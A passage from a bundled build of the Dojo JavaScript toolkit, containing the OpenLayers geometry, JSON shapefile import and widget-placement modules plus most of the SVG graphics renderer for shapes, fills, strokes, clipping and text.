			// returns:
			//		The point defining this geometry.
			return this.coordinates; // Object
		}
	});
});

},
'dojox/geo/openlayers/LineString':function(){
define([
	"dojo/_base/declare",
	"./Geometry"
], function(declare, Geometry){

	return declare("dojox.geo.openlayers.LineString", Geometry, {
		// summary:
		//		The `dojox.geo.openlayers.LineString` geometry. This geometry holds an array
		//		of coordinates.

		setPoints: function(p){
			// summary:
			//		Sets the points for this geometry.
			// p: Object[]
			//		An array of {x, y} objects
			this.coordinates = p;
		},

		getPoints: function(){
			// summary:
			//		Gets the points of this geometry.
			// returns:
			//		The points of this geometry.
			return this.coordinates; // Object[]
		}

	});
});

},
'dojox/geo/openlayers/JsonImport':function(){
define([
	"dojo/_base/declare",
	"dojo/_base/xhr",
	"dojo/_base/lang",
	"dojo/_base/array",
	"./LineString",
	"./Collection",
	"./GeometryFeature"
], function(declare, xhr, lang, array, LineString, Collection, GeometryFeature){

	/*=====
	dojox.geo.openlayers.__JsonImportArgs = {
		// summary:
		//		The keyword arguments that can be passed in a JsonImport constructor.
		// url: String
		//		The url pointing to the JSON file to load.
		// nextFeature: function
		//		The function called each time a feature is read. The function is called with a GeometryFeature as argument.
		// error: function
		//		Error callback called if something fails.
	};
	=====*/

	return declare("dojox.geo.openlayers.JsonImport", null, {
		// summary:
		//		Class to load JSON formated ShapeFile as output of the JSon Custom Map Converter.
		// description:
		//		This class loads JSON formated ShapeFile produced by the JSon Custom Map Converter.
		//		When loading the JSON file, it calls a iterator function each time a feature is read.
		//		This iterator function is provided as parameter to the constructor.
		//
		constructor : function(params){
			// summary:
			//		Construct a new JSON importer.
			// params: dojox.geo.openlayers.__JsonImportArgs
			//		The parameters to initialize this JsonImport instance.
			this._params = params;
		},

		loadData: function(){
			// summary:
			//		Triggers the loading.
			var p = this._params;
			xhr.get({
				url: p.url,
				handleAs: "json",
				sync: true,
				load: lang.hitch(this, this._gotData),
				error: lang.hitch(this, this._loadError)
			});
		},

		_gotData: function(/* Object */items){
			// summary:
			//		Called when loading is complete.
			// tags:
			//		private
			var nf = this._params.nextFeature;
			if(!lang.isFunction(nf)){
				return;
			}

			var extent = items.layerExtent;
			var ulx = extent[0];
			var uly = extent[1];
			var lrx = ulx + extent[2];
			var lry = uly + extent[3];

			var extentLL = items.layerExtentLL;
			var x1 = extentLL[0];
			var y1 = extentLL[1];
			var x2 = x1 + extentLL[2];
			var y2 = y1 + extentLL[3];

			var ulxLL = x1;
			var ulyLL = y2;
			var lrxLL = x2;
			var lryLL = y1;

			var features = items.features;

			for( var f in features){
				var o = features[f];
				var s = o["shape"];
				var gf = null;
				if(lang.isArray(s[0])){

					var a = new Array();
					array.forEach(s, function(item){
						var ls = this._makeGeometry(item, ulx, uly, lrx, lry, ulxLL, ulyLL, lrxLL, lryLL);
						a.push(ls);
					}, this);
					var g = new Collection(a);
					gf = new GeometryFeature(g);
					nf.call(this, gf);

				}else{
					gf = this._makeFeature(s, ulx, uly, lrx, lry, ulxLL, ulyLL, lrxLL, lryLL);
					nf.call(this, gf);
				}
			}
			var complete = this._params.complete;
			if(lang.isFunction(complete)){
				complete.call(this, complete);
			}
		},

		_makeGeometry: function(/* Array */s, /* Float */ulx, /* Float */uly, /* Float */lrx, /* Float */
		lry, /* Float */ulxLL, /* Float */ulyLL, /* Float */lrxLL, /* Float */lryLL){
			// summary:
			//		Make a geometry with the specified points.
			// tags:
			//		private
			var a = [];
			var k = 0.0;
			for( var i = 0; i < s.length - 1; i += 2){
				var x = s[i];
				var y = s[i + 1];

				k = (x - ulx) / (lrx - ulx);
				var px = k * (lrxLL - ulxLL) + ulxLL;

				k = (y - uly) / (lry - uly);
				var py = k * (lryLL - ulyLL) + ulyLL;

				a.push({
					x: px,
					y: py
				});

			}
			var ls = new LineString(a);
			return ls; // LineString
		},

		_makeFeature: function(/* Array */s, /* Float */ulx, /* Float */uly, /* Float */lrx, /* Float */
		lry, /* Float */ulxLL, /* Float */ulyLL, /* Float */lrxLL, /* Float */lryLL){
			// summary:
			//		Make a GeometryFeature with the specified points.
			// tags:
			//		private
			var ls = this._makeGeometry(s, ulx, uly, lrx, lry, ulxLL, ulyLL, lrxLL, lryLL);
			var gf = new GeometryFeature(ls);
			return gf;
		},

		_loadError: function(){
			// summary:
			//		Called when an error occurs. Calls the error function is provided in the parameters.
			// tags:
			//		private
			var f = this._params.error;
			if(lang.isFunction(f)){
				f.apply(this, parameters);
			}
		}
	});
});

},
'dojox/geo/openlayers/WidgetFeature':function(){
define([
	"dojo/_base/declare",
	"dojo/dom-style",
	"dojo/_base/lang",
	"dijit/registry",
	"./Feature"
], function(declare, style, lang, registry, Feature){
	/*=====
	dojox.geo.openlayers.__WidgetFeatureArgs = {
		// summary:
		//		The keyword arguments that can be passed in a WidgetFeature constructor.
		//		You must define a least one widget retrieval parameter and the geo-localization parameters.
		// createWidget: Function?
		//		Function for widget creation. Must return a `dijit._Widget.
		// dojoType: String?
		//		The class of a widget to create.
		// dijitId: String?
		//		The digitId of an existing widget.
		// widget: dijit._Widget?
		//		An already created widget.
		// width: Number?
		//		The width of the widget.
		// height: Number?
		//		The height of the widget.
		// longitude: Number
		//		The longitude, in decimal degrees where to place the widget.
		// latitude: Number
		//		The latitude, in decimal degrees where to place the widget.
	};
	=====*/

		return declare("dojox.geo.openlayers.WidgetFeature", Feature, {
			// summary:
			//		Wraps a Dojo widget, provide geolocalisation of the widget and interface
			//		to Layer class.
			// description:
			//		This class allows to add a widget in a `dojox.geo.openlayers.Layer`.

			_widget: null,
			_bbox: null,

			constructor: function(params){
				// summary:
				//		Constructs a new `dojox.geo.openlayers.WidgetFeature`
				// params: dojox.geo.openlayers.__WidgetFeatureArgs
				//		The parameters describing the widget.
				this._params = params;
			},

			setParameters: function(params){
				// summary:
				//		Sets the parameters describing the widget.
				// params: dojox.geo.openlayers.__WidgetFeatureArgs
				//		The parameters describing the widget.
				this._params = params;
			},

			getParameters: function(){
				// summary:
				//		Returns the parameters describing the widget.
				// returns: dojox.geo.openlayers.__WidgetFeatureArgs
				//		The parameters describing the widget.
				return this._params;
			},

			_getWidget: function(){
				// summary:
				//		Creates, if necessary the widget and returns it
				// tags:
				//		private
				var params = this._params;

				if((this._widget == null) && (params != null)){
					var w = null;

					if(typeof (params.createWidget) == "function"){
						w = params.createWidget.call(this);
					}else if(params.dojoType){
						dojo["require"](params.dojoType);
						var c = lang.getObject(params.dojoType);
						w = new c(params);
					}else if(params.dijitId){
						w = registry.byId(params.dijitId);
					}else if(params.widget){
						w = params.widget;
					}

					if(w != null){
						this._widget = w;
						if(typeof (w.startup) == "function"){
							w.startup();
						}
						var n = w.domNode;
						if(n != null){
							style.set(n, {
								position: "absolute"
							});
						}
					}
					this._widget = w;
				}
				return this._widget;
			},

			_getWidgetWidth: function(){
				// summary:
				//		gets the widget width
				// tags:
				//		private
				var p = this._params;
				if(p.width){
					return p.width;
				}
				var w = this._getWidget();
				if(w){
					return style.get(w.domNode, "width");
				}
				return 10;
			},

			_getWidgetHeight: function(){
				// summary:
				//		gets the widget height
				// tags:
				//		private
				var p = this._params;
				if(p.height){
					return p.height;
				}
				var w = this._getWidget();
				if(w){
					return style.get(w.domNode, "height");
				}
				return 10;
			},

			render: function(){
				// summary:
				//		renders the widget.
				// description:
				//		Places the widget accordingly to longitude and latitude defined in parameters.
				//		This function is called when the center of the maps or zoom factor changes.
				var layer = this.getLayer();

				var widget = this._getWidget();
				if(widget == null){
					return;
				}
				var params = this._params;
				var lon = params.longitude;
				var lat = params.latitude;
				var from = this.getCoordinateSystem();
				var map = layer.getDojoMap();
				var p = map.transformXY(lon, lat, from);
				var a = this._getLocalXY(p);

				var width = this._getWidgetWidth();
				var height = this._getWidgetHeight();

				var x = a[0] - width / 2;
				var y = a[1] - height / 2;
				var dom = widget.domNode;

				var pa = layer.olLayer.div;
				if(dom.parentNode != pa){
					if(dom.parentNode){
						dom.parentNode.removeChild(dom);
					}
					pa.appendChild(dom);
				}
				this._updateWidgetPosition({
					x: x,
					y: y,
					width: width,
					height: height
				});
			},

			_updateWidgetPosition: function(box){
				// summary:
				//		Places the widget with the computed x and y values
				// tags:
				//		private
				
				// var box = this._params;

				var w = this._widget;
				var dom = w.domNode;

				style.set(dom, {
					position: "absolute",
					left: box.x + "px",
					top: box.y + "px",
					width: box.width + "px",
					height: box.height + "px"
				});

				if(w.srcNodeRef){
					style.set(w.srcNodeRef, {
						position: "absolute",
						left: box.x + "px",
						top: box.y + "px",
						width: box.width + "px",
						height: box.height + "px"
					});
				}

				if(lang.isFunction(w.resize)){
					w.resize({
						w: box.width,
						h: box.height
					});
				}
			},

			remove: function(){
				// summary:
				//		removes this feature.
				// description:
				//		Remove this feature by disconnecting the widget from the dom.
				var w = this._getWidget();
				if(!w){
					return;
				}
				var dom = w.domNode;
				if(dom.parentNode){
					dom.parentNode.removeChild(dom);
				}
			}
		});
	});

},
'dojox/gfx/svg':function(){
define(["dojo/_base/lang", "dojo/_base/sniff", "dojo/_base/window", "dojo/dom", "dojo/_base/declare", "dojo/_base/array",
  "dojo/dom-geometry", "dojo/dom-attr", "dojo/_base/Color", "./_base", "./shape", "./path"],
function(lang, has, win, dom, declare, arr, domGeom, domAttr, Color, g, gs, pathLib){

	var svg = g.svg = {
		// summary:
		//		This the graphics rendering bridge for browsers compliant with W3C SVG1.0.
		//		This is the preferred renderer to use for interactive and accessible graphics.
	};
	svg.useSvgWeb = (typeof window.svgweb != "undefined");

	// Need to detect iOS in order to workaround bug when
	// touching nodes with text
	var uagent = navigator.userAgent,
		safMobile = has("ios"),
		android = has("android"),
		textRenderingFix = has("chrome") || (android && android>=4) ? "auto" : "optimizeLegibility";// #16099, #16461

	function _createElementNS(ns, nodeType){
		// summary:
		//		Internal helper to deal with creating elements that
		//		are namespaced.  Mainly to get SVG markup output
		//		working on IE.
		if(win.doc.createElementNS){
			return win.doc.createElementNS(ns,nodeType);
		}else{
			return win.doc.createElement(nodeType);
		}
	}
	
	function _setAttributeNS(node, ns, attr, value){
		if(node.setAttributeNS){
			return node.setAttributeNS(ns, attr, value);
		}else{
			return node.setAttribute(attr, value);
		}
	}

	function _createTextNode(text){
		if(svg.useSvgWeb){
			return win.doc.createTextNode(text, true);
		}else{
			return win.doc.createTextNode(text);
		}
	}

	function _createFragment(){
		if(svg.useSvgWeb){
			return win.doc.createDocumentFragment(true);
		}else{
			return win.doc.createDocumentFragment();
		}
	}

	svg.xmlns = {
		xlink: "http://www.w3.org/1999/xlink",
		svg:   "http://www.w3.org/2000/svg"
	};

	svg.getRef = function(name){
		// summary:
		//		looks up a node by its external name
		// name: String
		//		an SVG external reference
		// returns:
		//      returns a DOM Node specified by the name argument or null
		if(!name || name == "none") return null;
		if(name.match(/^url\(#.+\)$/)){
			return dom.byId(name.slice(5, -1));	// Node
		}
		// alternative representation of a reference
		if(name.match(/^#dojoUnique\d+$/)){
			// we assume here that a reference was generated by dojox/gfx
			return dom.byId(name.slice(1));	// Node
		}
		return null;	// Node
	};

	svg.dasharray = {
		solid:				"none",
		shortdash:			[4, 1],
		shortdot:			[1, 1],
		shortdashdot:		[4, 1, 1, 1],
		shortdashdotdot:	[4, 1, 1, 1, 1, 1],
		dot:				[1, 3],
		dash:				[4, 3],
		longdash:			[8, 3],
		dashdot:			[4, 3, 1, 3],
		longdashdot:		[8, 3, 1, 3],
		longdashdotdot:		[8, 3, 1, 3, 1, 3]
	};

	var clipCount = 0;

	svg.Shape = declare("dojox.gfx.svg.Shape", gs.Shape, {
		// summary:
		//		SVG-specific implementation of dojox/gfx/shape.Shape methods

		destroy: function(){
			if(this.fillStyle && "type" in this.fillStyle){
				var fill = this.rawNode.getAttribute("fill"),
					ref  = svg.getRef(fill);
				if(ref){
					ref.parentNode.removeChild(ref);
				}
			}
			if(this.clip){
				var clipPathProp = this.rawNode.getAttribute("clip-path");
				if(clipPathProp){
					var clipNode = dom.byId(clipPathProp.match(/gfx_clip[\d]+/)[0]);
					if(clipNode){ clipNode.parentNode.removeChild(clipNode); }
				}
			}
			gs.Shape.prototype.destroy.apply(this, arguments);
		},

		setFill: function(fill){
			// summary:
			//		sets a fill object (SVG)
			// fill: Object
			//		a fill object
			//		(see dojox/gfx.defaultLinearGradient,
			//		dojox/gfx.defaultRadialGradient,
			//		dojox/gfx.defaultPattern,
			//		or dojo/_base/Color)

			if(!fill){
				// don't fill
				this.fillStyle = null;
				this.rawNode.setAttribute("fill", "none");
				this.rawNode.setAttribute("fill-opacity", 0);
				return this;
			}
			var f;
			// FIXME: slightly magical. We're using the outer scope's "f", but setting it later
			var setter = function(x){
					// we assume that we're executing in the scope of the node to mutate
					this.setAttribute(x, f[x].toFixed(8));
				};
			if(typeof(fill) == "object" && "type" in fill){
				// gradient
				switch(fill.type){
					case "linear":
						f = g.makeParameters(g.defaultLinearGradient, fill);
						var gradient = this._setFillObject(f, "linearGradient");
						arr.forEach(["x1", "y1", "x2", "y2"], setter, gradient);
						break;
					case "radial":
						f = g.makeParameters(g.defaultRadialGradient, fill);
						var grad = this._setFillObject(f, "radialGradient");
						arr.forEach(["cx", "cy", "r"], setter, grad);
						break;
					case "pattern":
						f = g.makeParameters(g.defaultPattern, fill);
						var pattern = this._setFillObject(f, "pattern");
						arr.forEach(["x", "y", "width", "height"], setter, pattern);
						break;
				}
				this.fillStyle = f;
				return this;
			}
			// color object
			f = g.normalizeColor(fill);
			this.fillStyle = f;
			this.rawNode.setAttribute("fill", f.toCss());
			this.rawNode.setAttribute("fill-opacity", f.a);
			this.rawNode.setAttribute("fill-rule", "evenodd");
			return this;	// self
		},

		setStroke: function(stroke){
			// summary:
			//		sets a stroke object (SVG)
			// stroke: Object
			//		a stroke object (see dojox/gfx.defaultStroke)

			var rn = this.rawNode;
			if(!stroke){
				// don't stroke
				this.strokeStyle = null;
				rn.setAttribute("stroke", "none");
				rn.setAttribute("stroke-opacity", 0);
				return this;
			}
			// normalize the stroke
			if(typeof stroke == "string" || lang.isArray(stroke) || stroke instanceof Color){
				stroke = { color: stroke };
			}
			var s = this.strokeStyle = g.makeParameters(g.defaultStroke, stroke);
			s.color = g.normalizeColor(s.color);
			// generate attributes
			if(s){
				var w = s.width < 0 ? 0 : s.width;
				rn.setAttribute("stroke", s.color.toCss());
				rn.setAttribute("stroke-opacity", s.color.a);
				rn.setAttribute("stroke-width",   w);
				rn.setAttribute("stroke-linecap", s.cap);
				if(typeof s.join == "number"){
					rn.setAttribute("stroke-linejoin",   "miter");
					rn.setAttribute("stroke-miterlimit", s.join);
				}else{
					rn.setAttribute("stroke-linejoin",   s.join);
				}
				var da = s.style.toLowerCase();
				if(da in svg.dasharray){
					da = svg.dasharray[da];
				}
				if(da instanceof Array){
					da = lang._toArray(da);
					var i;
					for(i = 0; i < da.length; ++i){
						da[i] *= w;
					}
					if(s.cap != "butt"){
						for(i = 0; i < da.length; i += 2){
							da[i] -= w;
							if(da[i] < 1){ da[i] = 1; }
						}
						for(i = 1; i < da.length; i += 2){
							da[i] += w;
						}
					}
					da = da.join(",");
				}
				rn.setAttribute("stroke-dasharray", da);
				rn.setAttribute("dojoGfxStrokeStyle", s.style);
			}
			return this;	// self
		},

		_getParentSurface: function(){
			var surface = this.parent;
			for(; surface && !(surface instanceof g.Surface); surface = surface.parent);
			return surface;
		},

		_setFillObject: function(f, nodeType){
			var svgns = svg.xmlns.svg;
			this.fillStyle = f;
			var surface = this._getParentSurface(),
				defs = surface.defNode,
				fill = this.rawNode.getAttribute("fill"),
				ref  = svg.getRef(fill);
			if(ref){
				fill = ref;
				if(fill.tagName.toLowerCase() != nodeType.toLowerCase()){
					var id = fill.id;
					fill.parentNode.removeChild(fill);
					fill = _createElementNS(svgns, nodeType);
					fill.setAttribute("id", id);
					defs.appendChild(fill);
				}else{
					while(fill.childNodes.length){
						fill.removeChild(fill.lastChild);
					}
				}
			}else{
				fill = _createElementNS(svgns, nodeType);
				fill.setAttribute("id", g._base._getUniqueId());
				defs.appendChild(fill);
			}
			if(nodeType == "pattern"){
				fill.setAttribute("patternUnits", "userSpaceOnUse");
				var img = _createElementNS(svgns, "image");
				img.setAttribute("x", 0);
				img.setAttribute("y", 0);
				img.setAttribute("width",  (f.width < 0 ? 0 : f.width).toFixed(8));
				img.setAttribute("height", (f.height < 0 ? 0 : f.height).toFixed(8));
				_setAttributeNS(img, svg.xmlns.xlink, "xlink:href", f.src);
				fill.appendChild(img);
			}else{
				fill.setAttribute("gradientUnits", "userSpaceOnUse");
				for(var i = 0; i < f.colors.length; ++i){
					var c = f.colors[i], t = _createElementNS(svgns, "stop"),
						cc = c.color = g.normalizeColor(c.color);
					t.setAttribute("offset",       c.offset.toFixed(8));
					t.setAttribute("stop-color",   cc.toCss());
					t.setAttribute("stop-opacity", cc.a);
					fill.appendChild(t);
				}
			}
			this.rawNode.setAttribute("fill", "url(#" + fill.getAttribute("id") +")");
			this.rawNode.removeAttribute("fill-opacity");
			this.rawNode.setAttribute("fill-rule", "evenodd");
			return fill;
		},

		_applyTransform: function() {
			var matrix = this.matrix;
			if(matrix){
				var tm = this.matrix;
				this.rawNode.setAttribute("transform", "matrix(" +
					tm.xx.toFixed(8) + "," + tm.yx.toFixed(8) + "," +
					tm.xy.toFixed(8) + "," + tm.yy.toFixed(8) + "," +
					tm.dx.toFixed(8) + "," + tm.dy.toFixed(8) + ")");
			}else{
				this.rawNode.removeAttribute("transform");
			}
			return this;
		},

		setRawNode: function(rawNode){
			// summary:
			//		assigns and clears the underlying node that will represent this
			//		shape. Once set, transforms, gradients, etc, can be applied.
			//		(no fill & stroke by default)
			var r = this.rawNode = rawNode;
			if(this.shape.type!="image"){
				r.setAttribute("fill", "none");
			}
			r.setAttribute("fill-opacity", 0);
			r.setAttribute("stroke", "none");
			r.setAttribute("stroke-opacity", 0);
			r.setAttribute("stroke-width", 1);
			r.setAttribute("stroke-linecap", "butt");
			r.setAttribute("stroke-linejoin", "miter");
			r.setAttribute("stroke-miterlimit", 4);
			// Bind GFX object with SVG node for ease of retrieval - that is to
			// save code/performance to keep this association elsewhere
			r.__gfxObject__ = this;
		},

		setShape: function(newShape){
			// summary:
			//		sets a shape object (SVG)
			// newShape: Object
			//		a shape object
			//		(see dojox/gfx.defaultPath,
			//		dojox/gfx.defaultPolyline,
			//		dojox/gfx.defaultRect,
			//		dojox/gfx.defaultEllipse,
			//		dojox/gfx.defaultCircle,
			//		dojox/gfx.defaultLine,
			//		or dojox/gfx.defaultImage)
			this.shape = g.makeParameters(this.shape, newShape);
			for(var i in this.shape){
				if(i != "type"){
					var v = this.shape[i];
					if(i === "width" || i === "height"){
						v = v < 0 ? 0 : v;
					}
					this.rawNode.setAttribute(i, v);
				}
			}
			this.bbox = null;
			return this;	// self
		},

		// move family

		_moveToFront: function(){
			// summary:
			//		moves a shape to front of its parent's list of shapes (SVG)
			this.rawNode.parentNode.appendChild(this.rawNode);
			return this;	// self
		},
		_moveToBack: function(){
			// summary:
			//		moves a shape to back of its parent's list of shapes (SVG)
			this.rawNode.parentNode.insertBefore(this.rawNode, this.rawNode.parentNode.firstChild);
			return this;	// self
		},
		setClip: function(clip){
			// summary:
			//		sets the clipping area of this shape.
			// description:
			//		This method overrides the dojox/gfx/shape.Shape.setClip() method.
			// clip: Object
			//		an object that defines the clipping geometry, or null to remove clip.
			this.inherited(arguments);
			var clipType = clip ? "width" in clip ? "rect" : 
							"cx" in clip ? "ellipse" : 
							"points" in clip ? "polyline" : "d" in clip ? "path" : null : null;
			if(clip && !clipType){
				return this;
			}
			if(clipType === "polyline"){
				clip = lang.clone(clip);
				clip.points = clip.points.join(",");
			}
			var clipNode, clipShape,
				clipPathProp = domAttr.get(this.rawNode, "clip-path");
			if(clipPathProp){
				clipNode = dom.byId(clipPathProp.match(/gfx_clip[\d]+/)[0]);
				if(clipNode){ // may be null if not in the DOM anymore
					clipNode.removeChild(clipNode.childNodes[0]);
				}
			}
			if(clip){
				if(clipNode){
					clipShape = _createElementNS(svg.xmlns.svg, clipType);
					clipNode.appendChild(clipShape);
				}else{
					var idIndex = ++clipCount;
					var clipId = "gfx_clip" + idIndex;
					var clipUrl = "url(#" + clipId + ")";
					this.rawNode.setAttribute("clip-path", clipUrl);
					clipNode = _createElementNS(svg.xmlns.svg, "clipPath");
					clipShape = _createElementNS(svg.xmlns.svg, clipType);
					clipNode.appendChild(clipShape);
					this.rawNode.parentNode.insertBefore(clipNode, this.rawNode);
					domAttr.set(clipNode, "id", clipId);
				}
				domAttr.set(clipShape, clip);
			}else{
				//remove clip-path
				this.rawNode.removeAttribute("clip-path");
				if(clipNode){
					clipNode.parentNode.removeChild(clipNode);
				}
			}
			return this;
		},
		_removeClipNode: function(){
			var clipNode, clipPathProp = domAttr.get(this.rawNode, "clip-path");
			if(clipPathProp){
				clipNode = dom.byId(clipPathProp.match(/gfx_clip[\d]+/)[0]);
				if(clipNode){
					clipNode.parentNode.removeChild(clipNode);
				}
			}
			return clipNode;
		}
	});


	svg.Group = declare("dojox.gfx.svg.Group", svg.Shape, {
		// summary:
		//		a group shape (SVG), which can be used
		//		to logically group shapes (e.g, to propagate matricies)
		constructor: function(){
			gs.Container._init.call(this);
		},
		setRawNode: function(rawNode){
			// summary:
			//		sets a raw SVG node to be used by this shape
			// rawNode: Node
			//		an SVG node
			this.rawNode = rawNode;
			// Bind GFX object with SVG node for ease of retrieval - that is to
			// save code/performance to keep this association elsewhere
			this.rawNode.__gfxObject__ = this;
		},
		destroy: function(){
			// summary:
			//		Releases all internal resources owned by this shape. Once this method has been called,
			//		the instance is considered disposed and should not be used anymore.
			this.clear(true);
			// avoid this.inherited
			svg.Shape.prototype.destroy.apply(this, arguments);
		}
	});
	svg.Group.nodeType = "g";

	svg.Rect = declare("dojox.gfx.svg.Rect", [svg.Shape, gs.Rect], {
		// summary:
		//		a rectangle shape (SVG)
		setShape: function(newShape){
			// summary:
			//		sets a rectangle shape object (SVG)
			// newShape: Object
			//		a rectangle shape object
			this.shape = g.makeParameters(this.shape, newShape);
			this.bbox = null;
			for(var i in this.shape){
				if(i != "type" && i != "r"){
					var v = this.shape[i];
					if(i === "width" || i === "height"){
						v = v < 0 ? 0 : v;
					}
					this.rawNode.setAttribute(i, v);
				}
			}
			if(this.shape.r != null){
				this.rawNode.setAttribute("ry", this.shape.r);
				this.rawNode.setAttribute("rx", this.shape.r);
			}
			return this;	// self
		}
	});
	svg.Rect.nodeType = "rect";

	svg.Ellipse = declare("dojox.gfx.svg.Ellipse", [svg.Shape, gs.Ellipse], {});
	svg.Ellipse.nodeType = "ellipse";

	svg.Circle = declare("dojox.gfx.svg.Circle", [svg.Shape, gs.Circle], {});
	svg.Circle.nodeType = "circle";

	svg.Line = declare("dojox.gfx.svg.Line", [svg.Shape, gs.Line], {});
	svg.Line.nodeType = "line";

	svg.Polyline = declare("dojox.gfx.svg.Polyline", [svg.Shape, gs.Polyline], {
		// summary:
		//		a polyline/polygon shape (SVG)
		setShape: function(points, closed){
			// summary:
			//		sets a polyline/polygon shape object (SVG)
			// points: Object|Array
			//		a polyline/polygon shape object, or an array of points
			if(points && points instanceof Array){
				this.shape = g.makeParameters(this.shape, { points: points });
				if(closed && this.shape.points.length){
					this.shape.points.push(this.shape.points[0]);
				}
			}else{
				this.shape = g.makeParameters(this.shape, points);
			}
			this.bbox = null;
			this._normalizePoints();
			var attr = [], p = this.shape.points;
			for(var i = 0; i < p.length; ++i){
				attr.push(p[i].x.toFixed(8), p[i].y.toFixed(8));
			}
			this.rawNode.setAttribute("points", attr.join(" "));
			return this;	// self
		}
	});
	svg.Polyline.nodeType = "polyline";

	svg.Image = declare("dojox.gfx.svg.Image", [svg.Shape, gs.Image], {
		// summary:
		//		an image (SVG)
		setShape: function(newShape){
			// summary:
			//		sets an image shape object (SVG)
			// newShape: Object
			//		an image shape object
			this.shape = g.makeParameters(this.shape, newShape);
			this.bbox = null;
			var rawNode = this.rawNode;
			for(var i in this.shape){
				if(i != "type" && i != "src"){
					var v = this.shape[i];
					if(i === "width" || i === "height"){
						v = v < 0 ? 0 : v;
					}
					rawNode.setAttribute(i, v);
				}
			}
			rawNode.setAttribute("preserveAspectRatio", "none");
			_setAttributeNS(rawNode, svg.xmlns.xlink, "xlink:href", this.shape.src);
			// Bind GFX object with SVG node for ease of retrieval - that is to
			// save code/performance to keep this association elsewhere
			rawNode.__gfxObject__ = this;
			return this;	// self
		}
	});
	svg.Image.nodeType = "image";

	svg.Text = declare("dojox.gfx.svg.Text", [svg.Shape, gs.Text], {
		// summary:
		//		an anchored text (SVG)
		setShape: function(newShape){
			// summary:
			//		sets a text shape object (SVG)
			// newShape: Object
			//		a text shape object
			this.shape = g.makeParameters(this.shape, newShape);
			this.bbox = null;
			var r = this.rawNode, s = this.shape;
			r.setAttribute("x", s.x);
			r.setAttribute("y", s.y);
			r.setAttribute("text-anchor", s.align);
			r.setAttribute("text-decoration", s.decoration);
			r.setAttribute("rotate", s.rotated ? 90 : 0);
			r.setAttribute("kerning", s.kerning ? "auto" : 0);
			r.setAttribute("text-rendering", textRenderingFix);

			// update the text content
			if(r.firstChild){
				r.firstChild.nodeValue = s.text;
			}else{
				r.appendChild(_createTextNode(s.text));
			}
			return this;	// self
		},
		getTextWidth: function(){
			// summary:
			//		get the text width in pixels
			var rawNode = this.rawNode,
				oldParent = rawNode.parentNode,
				_measurementNode = rawNode.cloneNode(true);
			_measurementNode.style.visibility = "hidden";

			// solution to the "orphan issue" in FF
			var _width = 0, _text = _measurementNode.firstChild.nodeValue;
			oldParent.appendChild(_measurementNode);

			// solution to the "orphan issue" in Opera
			// (nodeValue == "" hangs firefox)
			if(_text!=""){
				while(!_width){
//Yang: work around svgweb bug 417 -- http://code.google.com/p/svgweb/issues/detail?id=417
if (_measurementNode.getBBox)
					_width = parseInt(_measurementNode.getBBox().width);
else
	_width = 68;
				}
			}
			oldParent.removeChild(_measurementNode);
			return _width;
		},
		getBoundingBox: function(){
			var s = this.getShape(), bbox = null;
			if(s.text){
				// try/catch the FF native getBBox error.
				try {
					bbox = this.rawNode.getBBox();
				} catch (e) {
					// under FF when the node is orphan (all other browsers return a 0ed bbox.
					bbox = {x:0, y:0, width:0, height:0};
				}
			}
			return bbox;
		}
	});
	svg.Text.nodeType = "text";

	svg.Path = declare("dojox.gfx.svg.Path", [svg.Shape, pathLib.Path], {
		// summary:
		//		a path shape (SVG)
		_updateWithSegment: function(segment){
			// summary:
			//		updates the bounding box of path with new segment
			// segment: Object
			//		a segment
			this.inherited(arguments);
			if(typeof(this.shape.path) == "string"){
				this.rawNode.setAttribute("d", this.shape.path);
			}
		},
		setShape: function(newShape){
			// summary:
			//		forms a path using a shape (SVG)
			// newShape: Object
			//		an SVG path string or a path object (see dojox/gfx.defaultPath)
			this.inherited(arguments);
			if(this.shape.path){
				this.rawNode.setAttribute("d", this.shape.path);
			}else{
				this.rawNode.removeAttribute("d");
			}
			return this;	// self
		}
	});
	svg.Path.nodeType = "path";

	svg.TextPath = declare("dojox.gfx.svg.TextPath", [svg.Shape, pathLib.TextPath], {
		// summary:
		//		a textpath shape (SVG)
		_updateWithSegment: function(segment){
			// summary:
			//		updates the bounding box of path with new segment
			// segment: Object
			//		a segment
			this.inherited(arguments);
			this._setTextPath();
		},
		setShape: function(newShape){
			// summary:
			//		forms a path using a shape (SVG)
			// newShape: Object
			//		an SVG path string or a path object (see dojox/gfx.defaultPath)
			this.inherited(arguments);
			this._setTextPath();
			return this;	// self
		},
		_setTextPath: function(){
			if(typeof this.shape.path != "string"){ return; }
			var r = this.rawNode;
			if(!r.firstChild){
				var tp = _createElementNS(svg.xmlns.svg, "textPath"),
					tx = _createTextNode("");
				tp.appendChild(tx);
				r.appendChild(tp);
			}
			var ref  = r.firstChild.getAttributeNS(svg.xmlns.xlink, "href"),
				path = ref && svg.getRef(ref);
			if(!path){
				var surface = this._getParentSurface();
				if(surface){
					var defs = surface.defNode;
					path = _createElementNS(svg.xmlns.svg, "path");
					var id = g._base._getUniqueId();
					path.setAttribute("id", id);
					defs.appendChild(path);
					_setAttributeNS(r.firstChild, svg.xmlns.xlink, "xlink:href", "#" + id);
				}
			}
			if(path){
				path.setAttribute("d", this.shape.path);
			}
		},
		_setText: function(){
			var r = this.rawNode;
			if(!r.firstChild){
				var tp = _createElementNS(svg.xmlns.svg, "textPath"),
					tx = _createTextNode("");
				tp.appendChild(tx);
				r.appendChild(tp);
			}
			r = r.firstChild;
			var t = this.text;
			r.setAttribute("alignment-baseline", "middle");
			switch(t.align){
				case "middle":
					r.setAttribute("text-anchor", "middle");
					r.setAttribute("startOffset", "50%");
					break;
				case "end":
					r.setAttribute("text-anchor", "end");
					r.setAttribute("startOffset", "100%");
					break;
				default:
					r.setAttribute("text-anchor", "start");
					r.setAttribute("startOffset", "0%");
					break;
			}
			//r.parentNode.setAttribute("alignment-baseline", "central");
			//r.setAttribute("dominant-baseline", "central");
			r.setAttribute("baseline-shift", "0.5ex");
			r.setAttribute("text-decoration", t.decoration);
			r.setAttribute("rotate", t.rotated ? 90 : 0);
			r.setAttribute("kerning", t.kerning ? "auto" : 0);
			r.firstChild.data = t.text;
		}
	});
	svg.TextPath.nodeType = "text";

	// Fix for setDimension bug:
	// http://bugs.dojotoolkit.org/ticket/16100
	// (https://code.google.com/p/chromium/issues/detail?id=162628)
	var hasSvgSetAttributeBug = (function(){ var matches = /WebKit\/(\d*)/.exec(uagent); return matches ? matches[1] : 0})() > 534;

	svg.Surface = declare("dojox.gfx.svg.Surface", gs.Surface, {
		// summary:
		//		a surface object to be used for drawings (SVG)
		constructor: function(){
			gs.Container._init.call(this);
		},
		destroy: function(){
			// no need to call svg.Container.clear to remove the children raw
			// nodes since the surface raw node will be removed. So, only dispose at gfx level	
